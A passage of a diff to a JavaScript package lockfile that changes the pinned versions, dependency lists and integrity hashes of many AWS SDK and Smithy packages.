"@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/util-waiter": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-m0zNfpsona9jQdX1cHtHArOiuvSGZPsgp/KRZS2YjJhKah96G2UN3UNGZQ6aVjXIQjCY6UanCJo0uW9Xf2U41w=="],
+ "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.758.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-node": "3.758.0", "@aws-sdk/middleware-bucket-endpoint": "3.734.0", "@aws-sdk/middleware-expect-continue": "3.734.0", "@aws-sdk/middleware-flexible-checksums": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-location-constraint": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/middleware-ssec": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@aws-sdk/xml-builder": "3.734.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/eventstream-serde-browser": "^4.0.1", "@smithy/eventstream-serde-config-resolver": "^4.0.1", "@smithy/eventstream-serde-node": "^4.0.1", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-blob-browser": "^4.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/hash-stream-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/md5-js": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "@smithy/util-waiter": "^4.0.2", "tslib": "^2.6.2" } }, "sha512-f8SlhU9/93OC/WEI6xVJf/x/GoQFj9a/xXK6QCtr5fvCjfSLgMVFmKTiIl/tgtDRzxUDc8YS6EGtbHjJ3Y/atg=="],
"@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-oEACriysQMnHIVcNp7TD6D1nzgiHfYK0tmMBMbUxgoFuCBkW9g9QYvspHN+S9KgoePfMEXHuPUe9mtG9AH9XeA=="],
"@aws-sdk/client-sso-oidc": ["@aws-sdk/client-sso-oidc@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-lMFEXCa6ES/FGV7hpyrppT1PiAkqQb51AbG0zVU3TIgI2IO4XX02uzMUXImRSRqRpGymRCbJCaCs9LtKvS/37Q=="],
- "@aws-sdk/core": ["@aws-sdk/core@3.973.22", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@aws-sdk/xml-builder": "^3.972.14", "@smithy/core": "^3.23.12", "@smithy/node-config-provider": "^4.3.12", "@smithy/property-provider": "^4.2.12", "@smithy/protocol-http": "^5.3.12", "@smithy/signature-v4": "^5.3.12", "@smithy/smithy-client": "^4.12.6", "@smithy/types": "^4.13.1", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.12", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-lY6g5L95jBNgOUitUhfV2N/W+i08jHEl3xuLODYSQH5Sf50V+LkVYBSyZRLtv2RyuXZXiV7yQ+acpswK1tlrOA=="],
-
- "@aws-sdk/crc64-nvme": ["@aws-sdk/crc64-nvme@3.972.4", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HKZIZLbRyvzo/bXZU7Zmk6XqU+1C9DjI56xd02vwuDIxedxBEqP17t9ExhbP9QFeNq/a3l9GOcyirFXxmbDhmw=="],
+ "@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="],
"@aws-sdk/credential-provider-cognito-identity": ["@aws-sdk/credential-provider-cognito-identity@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-sXU2KtWpFzIzE4iffSIUbl4mgbeN1Rta6BnuKtS3rrVrryku9akAxY//pulbsIsYfXRzOwZzULsa+cxQN00lrw=="],
@@ -583,9 +547,9 @@
"@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-kvXA1SwGneqGzFwRZNpESitnmaENHGFFuuTvgGwtMe7mzXWuA/LkXdbiHmdyAzOo0iByKTCD8uetuwh3CXy4Pw=="],
- "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.22", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/nested-clients": "^3.996.12", "@aws-sdk/types": "^3.973.6", "@smithy/property-provider": "^4.2.12", "@smithy/protocol-http": "^5.3.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-u33CO9zeNznlVSg9tWTCRYxaGkqr1ufU6qeClpmzAabXZa8RZxQoVXxL5T53oZJFzQYj+FImORCSsi7H7B77gQ=="],
+ "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-jL9zc+e+7sZeJrHzYKK9GOjl1Ktinh0ORU3cM2uRBi7fuH/0zV9pdMN8PQnGXz0i4tJaKcZ1lrE4V0V6LB9NQg=="],
- "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.23", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.20", "@aws-sdk/credential-provider-http": "^3.972.22", "@aws-sdk/credential-provider-ini": "^3.972.22", "@aws-sdk/credential-provider-process": "^3.972.20", "@aws-sdk/credential-provider-sso": "^3.972.22", "@aws-sdk/credential-provider-web-identity": "^3.972.22", "@aws-sdk/types": "^3.973.6", "@smithy/credential-provider-imds": "^4.2.12", "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-U8tyLbLOZItuVWTH0ay9gWo4xMqZwqQbg1oMzdU4FQSkTpqXemm4X0uoKBR6llqAStgBp30ziKFJHTA43l4qMw=="],
+ "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.758.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-ini": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-+DaMv63wiq7pJrhIQzZYMn4hSarKiizDoJRvyR7WGhnn0oQ/getX9Z0VNCV3i7lIFoLNTb7WMmQ9k7+z/uD5EQ=="],
"@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.620.1", "", { "dependencies": { "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-hWqFMidqLAkaV9G460+1at6qa9vySbjQKKc04p59OT7lZ5cO5VH5S4aI05e+m4j364MBROjjk2ugNvfNf/8ILg=="],
@@ -595,57 +559,57 @@
"@aws-sdk/credential-providers": ["@aws-sdk/credential-providers@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/client-sso": "3.623.0", "@aws-sdk/credential-provider-cognito-identity": "3.623.0", "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-abtlH1hkVWAkzuOX79Q47l0ztWOV2Q7l7J4JwQgzEQm7+zCk5iUAiwqKyDzr+ByCyo4I3IWFjy+e1gBdL7rXQQ=="],
- "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.972.11", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/eventstream-codec": "^4.2.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-2IrLrOruRr1NhTK0vguBL1gCWv1pu4bf4KaqpsA+/vCJpFEbvXFawn71GvCzk1wyjnDUsemtKypqoKGv4cSGbA=="],
+ "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-4zIbhdRmol2KosIHmU31ATvNP0tkJhDlRj9GuawVJoEnMvJA1pd2U3SRdiOImJU3j8pT46VeS4YMmYxfjGHByg=="],
- "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-goX+axlJ6PQlRnzE2bQisZ8wVrlm6dXJfBzMJhd8LhAIBan/w1Kl73fJnalM/S+18VnpzIHumyV6DtgmvqG5IA=="],
+ "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-etC7G18aF7KdZguW27GE/wpbrNmYLVT755EsFc8kXpZj8D6AFKxc7OuveinJmiy0bYXAMspJUWsF6CrGpOw6CQ=="],
- "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-r+oP+tbCxgqXVC3pu3MUVePgSY0ILMjA+aEwOosS77m3/DRbtvHrHwqvMcw+cjANMeGzJ+i0ar+n77KXpRA8RQ=="],
+ "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-XQSH8gzLkk8CDUDxyt4Rdm9owTpRIPdtg2yw9Y2Wl5iSI55YQSiC3x8nM3c4Y4WqReJprunFPK225ZUDoYCfZA=="],
- "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-mvWqvm61bmZUKmmrtl2uWbokqpenY3Mc3Jf4nXB/Hse6gWxLPaCQThmhPBDzsPSV8/Odn8V6ovWt3pZ7vy4BFQ=="],
+ "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-P38/v1l6HjuB2aFUewt7ueAW5IvKkFcv5dalPtbMGRhLeyivBOHwbCyuRKgVs7z7ClTpu9EaViEGki2jEQqEsQ=="],
- "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.973.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/crc64-nvme": "^3.972.4", "@aws-sdk/types": "^3.973.5", "@smithy/is-array-buffer": "^4.2.2", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7CH2jcGmkvkHc5Buz9IGbdjq1729AAlgYJiAvGq7qhCHqYleCsriWdSnmsqWTwdAfXHMT+pkxX3w6v5tJNcSug=="],
+ "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.758.0", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/is-array-buffer": "^4.0.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-o8Rk71S08YTKLoSobucjnbj97OCGaXgpEDNKXpXaavUM5xLNoHCLSUPRCiEN86Ivqxg1n17Y2nSRhfbsveOXXA=="],
- "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-wAr2REfKsqoKQ+OkNqvOShnBoh+nkPurDKW7uAeVSu6kUECnWlSJiPvnoqxGlfousEY/v9LfS9sNc46hjSYDIQ=="],
+ "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-LW7RRgSOHHBzWZnigNsDIzu3AiwtjeI2X66v+Wn1P1u+eXssy1+up4ZY/h+t2sU4LU36UvEf+jrZti9c6vRnFw=="],
- "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-vdK1LJfffBp87Lj0Bw3WdK1rJk9OLDYdQpqoKgmpIZPe+4+HawZ6THTbvjhJt4C4MNnRrHTKHQjkwBiIpDBoig=="],
+ "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-EJEIXwCQhto/cBfHdm3ZOeLxd2NlJD+X2F+ZTOxzokuhBtY0IONfC/91hOo5tWQweerojwshSMHRCKzRv1tlwg=="],
- "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-CWl5UCM57WUFaFi5kB7IBY1UmOeLvNZAZ2/OZ5l20ldiJ3TiIz1pC65gYj8X0BCPWkeR1E32mpsCk1L1I4n+lA=="],
+ "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-mUMFITpJUW3LcKvFok176eI5zXAUomVtahb9IQBwLzkqFYOrMJvWAvoV4yuxrJ8TlQBG8gyEnkb9SnhZvjg67w=="],
- "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-BnnvYs2ZEpdlmZ2PNlV2ZyQ8j8AEkMTjN79y/YA475ER1ByFYrkVR85qmhni8oeTaJcDqbx364wDpitDAA/wCA=="],
+ "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-CUat2d9ITsFc2XsmeiRQO96iWpxSKYFjxvj27Hc7vo87YUHRnfMfnc8jw1EpxEwMcvBD7LsRa6vDNky6AjcrFA=="],
- "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-5E3XxaElrdyk6ZJ0TjH7Qm6ios4b/qQCiLr6oQ8NK7e4Kn6JBTJCaYioQCQ65BpZ1+l1mK5wTAac2+pEz0Smpw=="],
+ "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="],
- "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-G9clGVuAml7d8DYzY6DnRi7TIIDRvZ3YpqJPz/8wnWS5fYx/FNWNmkO6iJVlVkQg9BfeMzd+bVPtPJOvC4B+nQ=="],
+ "@aws-sdk/middleware-ssec": ["@aws-sdk/middleware-ssec@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-d4yd1RrPW/sspEXizq2NSOUivnheac6LPeLSLnaeTbBG9g1KqIqvCzP1TfXEqv2CrWfHEsWtJpX7oyjySSPvDQ=="],
- "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.23", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/types": "^3.973.6", "@aws-sdk/util-endpoints": "^3.996.5", "@smithy/core": "^3.23.12", "@smithy/protocol-http": "^5.3.12", "@smithy/types": "^4.13.1", "@smithy/util-retry": "^4.2.12", "tslib": "^2.6.2" } }, "sha512-HQu8QoqGZZTvg0Spl9H39QTsSMFwgu+8yz/QGKndXFLk9FZMiCiIgBCVlTVKMDvVbgqIzD9ig+/HmXsIL2Rb+g=="],
+ "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@smithy/core": "^3.1.5", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-iNyehQXtQlj69JCgfaOssgZD4HeYGOwxcaKeG6F+40cwBjTAi0+Ph1yfDwqk2qiBPIRWJ/9l2LodZbxiBqgrwg=="],
- "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.972.13", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@aws-sdk/util-format-url": "^3.972.8", "@smithy/eventstream-codec": "^4.2.12", "@smithy/eventstream-serde-browser": "^4.2.12", "@smithy/fetch-http-handler": "^5.3.15", "@smithy/protocol-http": "^5.3.12", "@smithy/signature-v4": "^5.3.12", "@smithy/types": "^4.13.1", "@smithy/util-base64": "^4.3.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Gp6EWIqHX5wmsOR5ZxWyyzEU8P0xBdSxkm6VHEwXwBqScKZ7QWRoj6ZmHpr+S44EYb5tuzGya4ottsogSu2W3A=="],
+ "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/util-format-url": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/types": "^4.9.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-bPe3rqeugyj/MmjP0yBSZox2v1Wa8Dv39KN+RxVbQroLO8VUitBo6xyZ0oZebhZ5sASwSg58aDcMlX0uFLQnTA=="],
- "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.12", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.22", "@aws-sdk/middleware-host-header": "^3.972.8", "@aws-sdk/middleware-logger": "^3.972.8", "@aws-sdk/middleware-recursion-detection": "^3.972.8", "@aws-sdk/middleware-user-agent": "^3.972.23", "@aws-sdk/region-config-resolver": "^3.972.8", "@aws-sdk/types": "^3.973.6", "@aws-sdk/util-endpoints": "^3.996.5", "@aws-sdk/util-user-agent-browser": "^3.972.8", "@aws-sdk/util-user-agent-node": "^3.973.9", "@smithy/config-resolver": "^4.4.11", "@smithy/core": "^3.23.12", "@smithy/fetch-http-handler": "^5.3.15", "@smithy/hash-node": "^4.2.12", "@smithy/invalid-dependency": "^4.2.12", "@smithy/middleware-content-length": "^4.2.12", "@smithy/middleware-endpoint": "^4.4.26", "@smithy/middleware-retry": "^4.4.43", "@smithy/middleware-serde": "^4.2.15", "@smithy/middleware-stack": "^4.2.12", "@smithy/node-config-provider": "^4.3.12", "@smithy/node-http-handler": "^4.5.0", "@smithy/protocol-http": "^5.3.12", "@smithy/smithy-client": "^4.12.6", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.42", "@smithy/util-defaults-mode-node": "^4.2.45", "@smithy/util-endpoints": "^3.3.3", "@smithy/util-middleware": "^4.2.12", "@smithy/util-retry": "^4.2.12", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, 